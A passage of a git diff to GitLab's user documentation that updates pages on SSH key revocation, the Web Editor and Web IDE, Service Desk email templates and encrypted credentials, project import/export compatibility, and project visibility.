file can be split and uploaded piece by piece: + If your `commit-map` file is larger than about 250 KB or 3000 lines, the file can be split and uploaded piece by piece: ```shell split -l 3000 filter-repo/commit-map filter-repo/commit-map- diff --git a/doc/user/project/repository/ssh_signed_commits/index.md b/doc/user/project/repository/ssh_signed_commits/index.md index 85d2ce1d480..f2ce80263c8 100644 --- a/doc/user/project/repository/ssh_signed_commits/index.md +++ b/doc/user/project/repository/ssh_signed_commits/index.md @@ -19,8 +19,8 @@ You may use the same SSH keys for `git+ssh` authentication to GitLab and signing commit signatures as long as their usage type is **Authentication & Signing**. It can be verified on the page for [adding an SSH key to your GitLab account](../../../ssh.md#add-an-ssh-key-to-your-gitlab-account). -To learn more about managing the SSH keys associated with your GitLab account, read -[use SSH keys to communicate with GitLab](../../../ssh.md). +For more information about managing the SSH keys associated with your GitLab account, see +[Use SSH keys to communicate with GitLab](../../../ssh.md). ## Configure Git to sign commits with your SSH key @@ -160,8 +160,19 @@ for Git to associate SSH public keys with users: ## Revoke an SSH key for signing commits -You can't revoke an SSH key used for signing commits. To learn more, read -[Add revocation for SSH keys](https://gitlab.com/gitlab-org/gitlab/-/issues/382984). +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108344) in GitLab 15.9. + +If an SSH key becomes compromised, revoke it. Revoking a key changes both future and past commits: + +- Past commits signed by this key are marked as unverified. +- Future commits signed by this key are marked as unverified. + +To revoke an SSH key: + +1. In the upper-right corner, select your avatar. +1. Select **Edit profile**. +1. On the left sidebar, select (**{key}**) **SSH Keys**. +1. Select **Revoke** next to the SSH key you want to delete. ## Related topics diff --git a/doc/user/project/repository/vscode.md b/doc/user/project/repository/vscode.md index 4afdb3be0bd..9260d59bc3a 100644 --- a/doc/user/project/repository/vscode.md +++ b/doc/user/project/repository/vscode.md @@ -1,6 +1,6 @@ --- stage: Create -group: Code Review +group: Editor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -15,8 +15,9 @@ do more day-to-day tasks in Visual Studio Code, such as: from the Visual Studio Code [command palette](https://code.visualstudio.com/docs/getstarted/userinterface#_command-palette). - Create and [review](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#merge-request-reviews) merge requests directly from Visual Studio Code. -- [Validate your GitLab CI configuration](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#validate-gitlab-ci-configuration). +- [Validate your GitLab CI/CD configuration](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#validate-gitlab-cicd-configuration). - [View the status of your pipeline](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#information-about-your-branch-pipelines-mr-closing-issue). +- [View the output of CI/CD jobs](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#view-the-job-output). - [Create](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#create-snippet) and paste snippets to, and from, your editor. - [Browse repositories](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#browse-a-repository-without-cloning) diff --git a/doc/user/project/repository/web_editor.md b/doc/user/project/repository/web_editor.md index b5b2b8aaae9..80b0ada6f7b 100644 --- a/doc/user/project/repository/web_editor.md +++ b/doc/user/project/repository/web_editor.md @@ -6,10 +6,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Web Editor **(FREE)** -You can use the Web Editor to make changes directly from the GitLab UI instead of -cloning a project and using the command line. +You can use the Web Editor to make changes to a single file directly from the +GitLab UI. To make changes to multiple files, see [Web IDE](../web_ide/index.md). -From the project dashboard or repository, you can: +In the Web Editor, you can: - [Create a file](#create-a-file). - [Edit a file](#edit-a-file). @@ -18,8 +18,8 @@ From the project dashboard or repository, you can: - [Create a branch](#create-a-branch). - [Create a tag](#create-a-tag). -Your [primary email address](../../../user/profile/index.md#change-the-email-displayed-on-your-commits) -is used by default for any change you commit through the Web Editor. +Your [primary email address is used by default](../../../user/profile/index.md#change-the-email-displayed-on-your-commits) +for any change you commit through the Web Editor. ## Create a file @@ -28,18 +28,22 @@ To create a text file in the Web Editor: 1. On the top bar, select **Main menu > Projects** and find your project. 1. From the project dashboard or repository, next to the branch name, select the plus icon (**{plus}**). 1. From the dropdown list, select **New file**. -1. Complete the fields. - - From the **Select a template type** dropdown list, you can apply a template to the new file. - - To create a merge request with the new file, ensure the **Start a new merge request with these changes** checkbox is selected. +1. Complete the fields. To create a merge request with the new file, ensure the **Start a new merge request with these changes** checkbox is selected. 1. Select **Commit changes**. ## Edit a file -To edit a file in the Web Editor: +To edit a text file in the Web Editor: 1. On the top bar, select **Main menu > Projects** and find your project. 1. Go to your file. -1. Next to the display buttons, select **Edit**. +1. In the upper-right corner of the file, select **Edit**. + + If **Edit** is not visible: + + 1. Next to **Open in Web IDE** or **Open in Gitpod**, select the down arrow (**{chevron-lg-down}**). + 1. From the dropdown list, select **Edit** as your default setting. + 1. Select **Edit**. ### Keyboard shortcuts diff --git a/doc/user/project/requirements/index.md b/doc/user/project/requirements/index.md index 922accf9d28..b04905e6b34 100644 --- a/doc/user/project/requirements/index.md +++ b/doc/user/project/requirements/index.md @@ -236,7 +236,7 @@ To import requirements: 1. In a project, go to **Issues > Requirements**. - If the project already has existing requirements, select the import icon (**{import}**) in the - top right. + upper right. - For a project without any requirements, select **Import CSV** in the middle of the page. 1. Select the file and select **Import requirements**. @@ -296,7 +296,7 @@ Prerequisite: To export requirements: 1. In a project, go to **Issues > Requirements**. -1. In the top right, select the **Export as CSV** icon (**{export}**). +1. In the upper right, select the **Export as CSV** icon (**{export}**). A confirmation modal appears. diff --git a/doc/user/project/service_desk.md b/doc/user/project/service_desk.md index cc195c3c959..22297149561 100644 --- a/doc/user/project/service_desk.md +++ b/doc/user/project/service_desk.md @@ -67,7 +67,7 @@ one from the selector menu to append it to all Service Desk issues. To enable Service Desk in your project: 1. (GitLab self-managed only) [Set up incoming email](../../administration/incoming_email.md#set-it-up) for the GitLab instance. - We recommend using [email sub-addressing](../../administration/incoming_email.md#email-sub-addressing), + You should use [email sub-addressing](../../administration/incoming_email.md#email-sub-addressing), but you can also use [catch-all mailboxes](../../administration/incoming_email.md#catch-all-mailbox). 1. In a project, in the left sidebar, go to **Settings > General** and expand the **Service Desk** section. 1. Enable the **Activate Service Desk** toggle. This reveals a unique email address to email issues @@ -80,7 +80,7 @@ WARNING: Anyone in your project can use the Service Desk email address to create an issue in this project, **regardless of their access level** to your GitLab instance. -To improve your project's security, we recommend the following: +To improve your project's security, you should: - Put the Service Desk email address behind an alias on your email system so you can change it later. - [Enable Akismet](../../integration/akismet.md) on your GitLab instance to add spam checking to this service. @@ -95,6 +95,7 @@ displayed in the information note. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2460) in GitLab 12.7. > - Moved from GitLab Premium to GitLab Free in 13.2. +> - `UNSUBSCRIBE_URL`, `SYSTEM_HEADER`, `SYSTEM_FOOTER`, and `ADDITIONAL_TEXT` placeholders [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/285512) in GitLab 15.9. An email is sent to the author when: @@ -128,6 +129,10 @@ You can use these placeholders to be automatically replaced in each email: - `%{ISSUE_ID}`: issue IID - `%{ISSUE_PATH}`: project path appended with the issue IID +- `%{UNSUBSCRIBE_URL}`: unsubscribe URL +- `%{SYSTEM_HEADER}`: [system header message](../admin_area/appearance.md#system-header-and-footer-messages) +- `%{SYSTEM_FOOTER}`: [system footer message](../admin_area/appearance.md#system-header-and-footer-messages) +- `%{ADDITIONAL_TEXT}`: [custom additional text](../admin_area/settings/email.md#custom-additional-text) Because Service Desk issues are created as [confidential](issues/confidential_issues.md) (only project members can see them), the response email does not contain the issue link. @@ -142,6 +147,10 @@ You can use these placeholders to be automatically replaced in each email: - `%{ISSUE_ID}`: issue IID - `%{ISSUE_PATH}`: project path appended with the issue IID - `%{NOTE_TEXT}`: note text +- `%{UNSUBSCRIBE_URL}`: unsubscribe URL +- `%{SYSTEM_HEADER}`: [system header message](../admin_area/appearance.md#system-header-and-footer-messages) +- `%{SYSTEM_FOOTER}`: [system footer message](../admin_area/appearance.md#system-header-and-footer-messages) +- `%{ADDITIONAL_TEXT}`: [custom additional text](../admin_area/settings/email.md#custom-additional-text) #### New Service Desk issues @@ -154,7 +163,7 @@ You can set description templates at various levels: - A specific [group or subgroup](description_templates.md#set-group-level-description-templates). - A specific [project](description_templates.md#set-a-default-template-for-merge-requests-and-issues). -The templates are inherited. For example, in a project, you can also access templates set for the instance or the project's parent groups. +The templates are inherited. For example, in a project, you can also access templates set for the instance, or the project's parent groups. To use a custom description template with Service Desk: @@ -217,9 +226,9 @@ To configure a custom mailbox for Service Desk with IMAP, add the following snip NOTE: In GitLab 15.3 and later, Service Desk uses `webhook` (internal API call) by default instead of enqueuing a Sidekiq job. To use `webhook` on an Omnibus installation running GitLab 15.3, you must generate a secret file. -For more context, visit [Omnibus GitLab MR 5927](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/5927). +For more information, see [merge request 5927](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/5927). In GitLab 15.4, reconfiguring an Omnibus installation generates this secret file automatically, so no secret file configuration setting is needed. -For details, visit [issue 1462](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1462). +For more information, see [issue 1462](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1462). ```ruby gitlab_rails['service_desk_email_enabled'] = true @@ -260,13 +269,141 @@ service_desk_email: The configuration options are the same as for configuring [incoming email](../../administration/incoming_email.md#set-it-up). +##### Use encrypted credentials + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108279) in GitLab 15.9. + +Instead of having the Service Desk email credentials stored in plaintext in the configuration files, you can optionally +use an encrypted file for the Incoming email credentials. + +Prerequisites: + +- To use encrypted credentials, you must first enable the + [encrypted configuration](../../administration/encrypted_configuration.md). + +The supported configuration items for the encrypted file are: + +- `user` +- `password` + +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. If initially your Service Desk configuration in `/etc/gitlab/gitlab.rb` looked like: + + ```ruby + gitlab_rails['service_desk_email_email'] = "service-desk-email@mail.example.com" + gitlab_rails['service_desk_email_password'] = "examplepassword" + ``` + +1. Edit the encrypted secret: + + ```shell + sudo gitlab-rake gitlab:service_desk_email:secret:edit EDITOR=vim + ``` + +1. Enter the unencrypted contents of the Service Desk email secret: + + ```yaml + user: 'service-desk-email@mail.example.com' + password: 'examplepassword' + ``` + +1. Edit `/etc/gitlab/gitlab.rb` and remove the `service_desk` settings for `email` and `password`. +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +Use a Kubernetes secret to store the Service Desk email password. For more information, +read about [Helm IMAP secrets](https://docs.gitlab.com/charts/installation/secrets.html#imap-password-for-service-desk-emails). + +:::TabTitle Docker + +1. If initially your Service Desk configuration in `docker-compose.yml` looked like: + + ```yaml + version: "3.6" + services: + gitlab: + image: 'gitlab/gitlab-ee:latest' + restart: always + hostname: 'gitlab.example.com' + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['service_desk_email_email'] = "service-desk-email@mail.example.com" + gitlab_rails['service_desk_email_password'] = "examplepassword" + ``` + +1. Get inside the container, and edit the encrypted secret: + + ```shell + sudo docker exec -t <container_name> bash + gitlab-rake gitlab:service_desk_email:secret:edit EDITOR=editor + ``` + +1. Enter the unencrypted contents of the Service Desk secret: + + ```yaml + user: 'service-desk-email@mail.example.com' + password: 'examplepassword' + ``` + +1. Edit `docker-compose.yml` and remove the `service_desk` settings for `email` and `password`. +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. If initially your Service Desk configuration in `/home/git/gitlab/config/gitlab.yml` looked like: + + ```yaml + production: + service_desk_email: + user: 'service-desk-email@mail.example.com' + password: 'examplepassword' + ``` + +1. Edit the encrypted secret: + + ```shell + bundle exec rake gitlab:service_desk_email:secret:edit EDITOR=vim RAILS_ENVIRONMENT=production + ``` + +1. Enter the unencrypted contents of the Service Desk secret: + + ```yaml + user: 'service-desk-email@mail.example.com' + password: 'examplepassword' + ``` + +1. Edit `/home/git/gitlab/config/gitlab.yml` and remove the `service_desk_email:` settings for `user` and `password`. +1. Save the file and restart GitLab and Mailroom + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs + ##### Microsoft Graph > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214900) in GitLab 13.11. > - Alternative Azure deployments [introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/5978) in GitLab 14.9. Service Desk can be configured to read Microsoft Exchange Online mailboxes with the Microsoft -Graph API instead of IMAP. Follow the [documentation in the incoming email section for setting up an OAuth2 application for Microsoft Graph](../../administration/incoming_email.md#microsoft-graph). +Graph API instead of IMAP. Follow the [documentation in the incoming email section for setting up an OAuth 2.0 application for Microsoft Graph](../../administration/incoming_email.md#microsoft-graph). - Example for Omnibus GitLab installations: @@ -358,12 +495,10 @@ issues created through customer support requests, and filter or interact with th Messages from the end user are shown as coming from the special [Support Bot user](../../subscriptions/self_managed/index.md#billable-users). -You can read and write comments as you normally do in GitLab: +You can read and write comments as you usually do in GitLab:  -Note that: - - The project's visibility (private, internal, public) does not affect Service Desk. - The path to the project, including its group or namespace, is shown in emails. @@ -378,12 +513,34 @@ On GitLab.com, this feature is not available. If a comment contains any attachments and their total size is less than or equal to 10 MB, these attachments are sent as part of the email. In other cases, the email contains links to the attachments. +#### Special HTML formatting in HTML emails + +<!-- When the feature flag is removed, delete this topic and add as a line in version history under one of the topics above this one.--> + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/372301) in GitLab 15.9 [with a flag](../../administration/feature_flags.md) named `service_desk_html_to_text_email_handler`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. To make it available per project or for your entire instance, ask an administrator to [enable the feature flag](../../administration/feature_flags.md) named `service_desk_html_to_text_email_handler`. +On GitLab.com, this feature is not available. + +When this feature is enabled, HTML emails correctly show additional HTML formatting, such as: + +- Tables +- Blockquotes +- Images +- Collapsible sections + #### Privacy considerations +> [Changed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108901) the minimum required role to view the creator's and participant's email in GitLab 15.9. + Service Desk issues are confidential, but the project owner can [make an issue public](issues/confidential_issues.md#modify-issue-confidentiality). -When a Service Desk issue becomes public, the issue creator's email address is disclosed -to everyone who can view the project. +When a Service Desk issue becomes public, the issue creator's and participants' email addresses are +visible to signed-in users with at least the Reporter role for the project. + +In GitLab 15.8 and earlier, when a Service Desk issue becomes public, the issue creator's email +address is disclosed to everyone who can view the project. ### Support Bot user diff --git a/doc/user/project/settings/import_export.md b/doc/user/project/settings/import_export.md index b85f52d43bb..3715eef08e0 100644 --- a/doc/user/project/settings/import_export.md +++ b/doc/user/project/settings/import_export.md @@ -14,7 +14,7 @@ then imported into a new GitLab instance. You can also: GitLab maps user contributions correctly when an admin access token is used to perform the import. -As a result, migrating projects using file exports does not map user contributions correctly when you are importing +Consequently, migrating projects using file exports does not map user contributions correctly when you are importing projects from a self-managed instance to GitLab.com. Instead, all GitLab user associations (such as comment author) are changed to the user importing the project. For more @@ -27,6 +27,30 @@ To preserve contribution history, [migrate using direct transfer](../../group/im If you migrate from GitLab.com to self-managed GitLab, an administrator can create users on the self-managed GitLab instance. +## Compatibility + +FLAG: +On self-managed GitLab by default project, file exports are in NDJSON format. To make GitLab produce project file +exports in JSON format, ask an administrator to [disable the feature flags](../../../administration/feature_flags.md) +named `project_export_as_ndjson`. To allow GitLab to import project file exports in JSON format, ask an administrator to +[disable the feature flags](../../../administration/feature_flags.md) named `project_import_ndjson`. On GitLab.com, +project file exports are in NDJSON format only. + +Project file exports are in NDJSON format. Before version 14.0, GitLab produced project file exports in JSON format. +To support transitions, you can still import JSON-formatted project file exports if you configure the relevant feature +flags. + +From GitLab 13.0, GitLab can import project file exports that were exported from a version of GitLab up to two +[minor](../../../policy/maintenance.md#versioning) versions behind, which is similar to our process for +[security releases](../../../policy/maintenance.md#security-releases). + +For example: + +| Destination version | Compatible source versions | +|:--------------------|:---------------------------| +| 13.0 | 13.0, 12.10, 12.9 | +| 13.1 | 13.1, 13.0, 12.10 | + ## Configure file exports as an import source **(FREE SELF)** Before you can migrate projects on a self-managed GitLab instance using file exports, GitLab administrators must: @@ -47,7 +71,7 @@ To enable file exports as an import source for the destination instance: ## Between CE and EE You can export projects from the [Community Edition to the Enterprise Edition](https://about.gitlab.com/install/ce-or-ee/) -and vice versa. This assumes [version history](#version-history) requirements are met. +and vice versa, assuming [compatibility](#compatibility) is met. If you're exporting a project from the Enterprise Edition to the Community Edition, you may lose data that is retained only in the Enterprise Edition. For more information, see @@ -127,10 +151,11 @@ Items that are **not** exported include: - Pipeline triggers - Webhooks - Any encrypted tokens -- [Number of required approvals](https://gitlab.com/gitlab-org/gitlab/-/issues/221088) +- [Number of required approvals](https://gitlab.com/gitlab-org/gitlab/-/issues/221087) - Repository size limits - Deploy keys allowed to push to protected branches - Secure Files +- [Activity logs for Git-related events](https://gitlab.com/gitlab-org/gitlab/-/issues/214700). For example, pushing and creating tags ## Import a project and its data @@ -145,7 +170,7 @@ Prerequisites: - You must have [exported the project and its data](#export-a-project-and-its-data). - Compare GitLab versions and ensure you are importing to a GitLab version that is the same or later than the GitLab version you exported to. -- Review the [Version history](#version-history) for compatibility issues. +- Review [compatibility](#compatibility) for any issues. - At least the Maintainer role on the destination group to migrate to. Using the Developer role for this purpose was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. @@ -220,32 +245,6 @@ To help avoid abuse, by default, users are rate limited to: | Download export | 1 download per group per minute | | Import | 6 projects per minute | -## Version history - -### 15.8+ - -Starting with GitLab 15.8, importing groups from a JSON export is no longer supported. Groups must be imported -in NDJSON format. - -### 14.0+ - -In GitLab 14.0, the JSON format is no longer supported for project and group exports. To allow for a -transitional period, you can still import any JSON exports. The new format for imports and exports -is NDJSON. - -### 13.0+ - -Starting with GitLab 13.0, GitLab can import bundles that were exported from a different GitLab deployment. -**This ability is limited to two previous GitLab [minor](../../../policy/maintenance.md#versioning) -releases**, which is similar to our process for [Security Releases](../../../policy/maintenance.md#security-releases). - -For example: - -| Current version | Can import bundles exported from | -|-----------------|----------------------------------| -| 13.0 | 13.0, 12.10, 12.9 | -| 13.1 | 13.1, 13.0, 12.10 | - ## Related topics - [Project import and export API](../../../api/project_import_export.md) diff --git a/doc/user/project/settings/import_export_troubleshooting.md b/doc/user/project/settings/import_export_troubleshooting.md index 81ceba7139b..00edeef5cfa 100644 --- a/doc/user/project/settings/import_export_troubleshooting.md +++ b/doc/user/project/settings/import_export_troubleshooting.md @@ -153,7 +153,8 @@ Rather than attempting to push all changes at once, this workaround: You usually export a project through [the web interface](import_export.md#export-a-project-and-its-data) or through [the API](../../../api/project_import_export.md). Exporting using these methods can sometimes fail without giving enough information to troubleshoot. In these cases, -[open a rails console session](../../../administration/operations/rails_console.md#starting-a-rails-console-session) +[open a rails console session](../../../administration/operations/rails_console.md#starting-a-rails-console-session) and loop through +[all the defined exporters](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/projects/import_export/export_service.rb). Execute each line individually, rather than pasting the entire block at once, so you can see any errors each command returns. @@ -197,7 +198,7 @@ Read through the current performance problems using the Import/Export below. ### OOM errors -Out of memory (OOM) errors are normally caused by the [Sidekiq Memory Killer](../../../administration/sidekiq/sidekiq_memory_killer.md): +Out of memory (OOM) errors are usually caused by the [Sidekiq Memory Killer](../../../administration/sidekiq/sidekiq_memory_killer.md): ```shell SIDEKIQ_MEMORY_KILLER_MAX_RSS = 2000000 diff --git a/doc/user/project/settings/index.md b/doc/user/project/settings/index.md index 3798643549d..ed4eea56514 100644 --- a/doc/user/project/settings/index.md +++ b/doc/user/project/settings/index.md @@ -158,7 +158,7 @@ Configure your project's merge request settings: - Enable [merge only if pipeline succeeds](../merge_requests/merge_when_pipeline_succeeds.md). - Enable [merge only when all threads are resolved](../../discussions/index.md#prevent-merge-unless-all-threads-are-resolved). - Enable [require an associated issue from Jira](../../../integration/jira/issues.md#require-associated-jira-issue-for-merge-requests-to-be-merged). -- Enable [`delete source branch after merge` option by default](../merge_requests/getting_started.md#deleting-the-source-branch). +- Enable [**Delete source branch when merge request is accepted** option by default](#delete-the-source-branch-on-merge-by-default). - Configure [suggested changes commit messages](../merge_requests/reviews/suggestions.md#configure-the-commit-message-for-applied-suggestions). - Configure [merge and squash commit message templates](../merge_requests/commit_templates.md). - Configure [the default target project](../merge_requests/creating_merge_requests.md#set-the-default-target-project) for merge requests coming from forks. @@ -230,6 +230,18 @@ To rename a repository: 1. In the **Change path** text box, edit the path. 1. Select **Change path**. +## Delete the source branch on merge by default + +In merge requests, you can change the default behavior so that the +**Delete the source branch** checkbox is always selected. + +To set this default: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > Merge requests**. +1. Select **Enable "Delete source branch" option by default**. +1. Select **Save changes**. + ## Transfer a project to another namespace When you transfer a project to another namespace, you move the project to a different group. @@ -241,6 +253,7 @@ Prerequisites: - The group must allow creation of new projects. - The project must not contain any [container images](../../packages/container_registry/index.md#move-or-rename-container-registry-repositories). - Remove any npm packages. If you transfer a project to a different root namespace, the project must not contain any npm packages. When you update the path of a user or group, or transfer a subgroup or project, you must remove any npm packages first. You cannot update the root namespace of a project with npm packages. Make sure you update your .npmrc files to follow the naming convention and run npm publish if necessary. +- If a security policy is assigned to the project, it is automatically unassigned during the transfer. To transfer a project: diff --git a/doc/user/project/settings/project_access_tokens.md b/doc/user/project/settings/project_access_tokens.md index cb7ba2a7df2..f9218a228ca 100644 --- a/doc/user/project/settings/project_access_tokens.md +++ b/doc/user/project/settings/project_access_tokens.md @@ -17,7 +17,7 @@ select a limited role, and provide an expiry date. Use a project access token to authenticate: -- With the [GitLab API](../../../api/index.md#personalprojectgroup-access-tokens). +- With the [GitLab API](../../../api/rest/index.md#personalprojectgroup-access-tokens). - With Git, when using HTTP Basic Authentication, use: - Any non-blank value as a username. - The project access token as the password. diff --git a/doc/user/project/time_tracking.md b/doc/user/project/time_tracking.md index 186ca0ba9f0..d5f0b7e6180 100644 --- a/doc/user/project/time_tracking.md +++ b/doc/user/project/time_tracking.md @@ -42,7 +42,8 @@ You can see the estimated time remaining when you hover over the time tracking i Prerequisites: -- You must have at least the Reporter role for the project. +- In issues, you must have at least the Reporter role for the project. +- In merge requests, you must have at least the Developer role for the project. To enter an estimate, use the `/estimate` [quick action](quick_actions.md), followed by the time. @@ -57,7 +58,8 @@ Every time you enter a new time estimate, it overwrites the previous value. Prerequisites: -- You must have at least the Reporter role for the project. +- In issues, you must have at least the Reporter role for the project. +- In merge requests, you must have at least the Developer role for the project. To remove an estimate entirely, use the `/remove_estimate` [quick action](quick_actions.md). @@ -171,10 +173,10 @@ The following time units are available: | Time unit | What to type | Conversion rate | | --------- | --------------------------- | --------------- | -| Month | `mo`, `month`, or `months` | 4w (160h) | -| Week | `w`, `week`, or `weeks` | 5d (40h) | -| Day | `d`, `day`, or `days` | 8h | -| Hour | `h`, `hour`, or `hours` | 60m | +| Month | `mo`, `month`, or `months` | 4 w (160 h) | +| Week | `w`, `week`, or `weeks` | 5 d (40 h) | +| Day | `d`, `day`, or `days` | 8 h | +| Hour | `h`, `hour`, or `hours` | 60 m | | Minute | `m`, `minute`, or `minutes` | | ### Limit displayed units to hours **(FREE SELF)** diff --git a/doc/user/project/web_ide/index.md b/doc/user/project/web_ide/index.md index 4648df7dbd7..5e9f648daba 100644 --- a/doc/user/project/web_ide/index.md +++ b/doc/user/project/web_ide/index.md @@ -6,9 +6,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Web IDE **(FREE)** -The Web Integrated Development Environment (IDE) editor streamlines the process -to contribute changes to your projects, by providing an advanced editor with -commit staging. +The Web IDE is an advanced editor with commit staging. +You can use the Web IDE to make changes to multiple files directly from the +GitLab UI. For a more basic implementation, see [Web Editor](../repository/web_editor.md). NOTE: The Web IDE is being updated to use VS Code. For details, @@ -175,8 +175,8 @@ access to the selected branch, you see a warning, but can still create a new branch and start a merge request. To discard a change in a particular file, select **Discard changes** on that -file in the changes tab. To discard all the changes, select the trash icon on the -top-right corner of the changes sidebar. +file in the changes tab. To discard all the changes, select the trash icon in the +upper-right corner of the changes sidebar.  @@ -238,7 +238,13 @@ There are two ways to preview Markdown content in the Web IDE: 1. Right-click or use the keyboard shortcut `Command/Control + Shift + P` and select **Preview Markdown** to toggle a live Markdown preview panel. -## Live Preview +<!--- start_remove The following content will be removed on remove_date: '2023-02-01' --> + +## Live Preview (removed) + +WARNING: +This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108627) in GitLab 15.8 +and is planned for removal in 15.9. This change is a breaking change. > [Renamed](https://gitlab.com/gitlab-org/gitlab/-/issues/213853) from _Client Side Evaluation_ to _Live Preview_ in GitLab 13.0. @@ -283,6 +289,8 @@ An example `package.json`: } ``` +<!--- end_remove --> + ## Interactive Web Terminals for the Web IDE > [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/211685) from GitLab Ultimate to GitLab Free in 13.1. diff --git a/doc/user/project/web_ide_beta/index.md b/doc/user/project/web_ide_beta/index.md index 4f84110a038..fe110baf578 100644 --- a/doc/user/project/web_ide_beta/index.md +++ b/doc/user/project/web_ide_beta/index.md @@ -40,7 +40,7 @@ or a merge request. To open the Web IDE Beta from a file or the repository file list: -- On the top right of the page, select **Open in Web IDE**. +- In the upper right of the page, select **Open in Web IDE**. If **Open in Web IDE** is not visible: @@ -88,7 +88,7 @@ For details, see the [VS Code documentation](https://code.visualstudio.com/docs/ If you do not want to use the Web IDE Beta, you can change your personal preferences. -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Preferences**. 1. In the **Web IDE** section, select the **Opt out of the Web IDE Beta** checkbox. 1. Select **Save changes**. @@ -96,7 +96,7 @@ If you do not want to use the Web IDE Beta, you can change your personal prefere ## Known issues The [Web Terminal](../web_ide/index.md#interactive-web-terminals-for-the-web-ide) -and [Live Preview](../web_ide/index.md#live-preview) are not available in the Web IDE Beta. +and [Live Preview](../web_ide/index.md#live-preview-removed) are not available in the Web IDE Beta. These features might become available at a later date. diff --git a/doc/user/project/wiki/index.md b/doc/user/project/wiki/index.md index 04a6f9bee80..f01331ac784 100644 --- a/doc/user/project/wiki/index.md +++ b/doc/user/project/wiki/index.md @@ -252,7 +252,7 @@ replaces the default sidebar navigation: - For project wikis, select **Projects** and find your project. - For group wikis, select **Groups** and find your group. 1. On the left sidebar, select **Wiki**. -1. In the top right corner of the page, select **Edit sidebar**. +1. In the upper-right corner of the page, select **Edit sidebar**. 1. When complete, select **Save changes**. A `_sidebar` example, formatted with Markdown: @@ -269,8 +269,6 @@ A `_sidebar` example, formatted with Markdown: - [Sidebar](_sidebar) ``` -Support for displaying a generated table of contents with a custom side navigation is being considered. - ## Enable or disable a project wiki Wikis are enabled by default in GitLab. Project [administrators](../../permissions.md) diff --git a/doc/user/project/working_with_projects.md b/doc/user/project/working_with_projects.md index 92db90d66dc..a0e6a78dfe2 100644 --- a/doc/user/project/working_with_projects.md +++ b/doc/user/project/working_with_projects.md @@ -87,7 +87,7 @@ called `my-project` under your username, the project is created at `https://gitl To view your personal projects: 1. On the top bar, select **Main menu > Projects > View all projects**. -1. In the **Your projects** tab, select **Personal**. +1. In the **Yours** tab, select **Personal**. ## Delete a project @@ -157,6 +157,18 @@ You can sort projects by: You can also choose to hide or show archived projects. +### Filter projects by language + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/385465) in GitLab 15.9 [with a flag](../../administration/feature_flags.md) named `project_language_search`. Enabled by default. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110956) in GitLab 15.9. Feature flag `project_language_search` removed. + +You can filter projects by the programming language they use. To do this: + +1. On the top bar, select **Main menu > Projects > View all projects**. +1. From the **Language** dropdown list, select the language you want to filter projects by. + +A list of projects that use the selected language is displayed. + ## Change the visibility of individual features in a project You can change the visibility of individual features in a project. diff --git a/doc/user/public_access.md b/doc/user/public_access.md index 773c14c9ec8..2a9a9fb84fe 100644 --- a/doc/user/public_access.md +++ b/doc/user/public_access.md @@ -7,63 +7,49 @@ type: reference # Project and group visibility **(FREE)** -If you have the Owner role, you can set a project's or group's visibility as: +A project in GitLab can be private, internal, or public. -- **Public** -- **[Internal](#internal-projects-and-groups)** -- **Private** - -These visibility levels affect who can see the project in the public access directory -(for example, <https://gitlab.com/public>). - -For more granular control, you can determine -[which features in a project are visible](project/working_with_projects.md#change-the-visibility-of-individual-features-in-a-project). - -The visibility setting of a project must be at least as restrictive -as the visibility of its parent group. -For example, a private group can include only private projects, -while a public group can include private, internal, and public projects. - -## Public projects and groups - -Public projects can be cloned **without any** authentication over HTTPS. +## Private projects and groups -They are listed in the public access directory (`/public`) for all users. +For private projects, only project members can: -Public groups can have public, internal, or private subgroups. +- Clone the project. +- View the public access directory (`/public`). -**Any authenticated user** has the Guest role on the repository. +Users with the Guest role cannot clone the project. -NOTE: -By default, `/public` is visible to unauthenticated users. However, if the -[**Public** visibility level](admin_area/settings/visibility_and_access_controls.md#restrict-visibility-levels) -is restricted, `/public` is visible only to authenticated users. +Private groups can have private subgroups only. ## Internal projects and groups **(FREE SELF)** -Internal projects can be cloned by any authenticated user except -[external users](admin_area/external_users.md). +For internal projects, **any authenticated user**, including users with the Guest role, can: -They are also 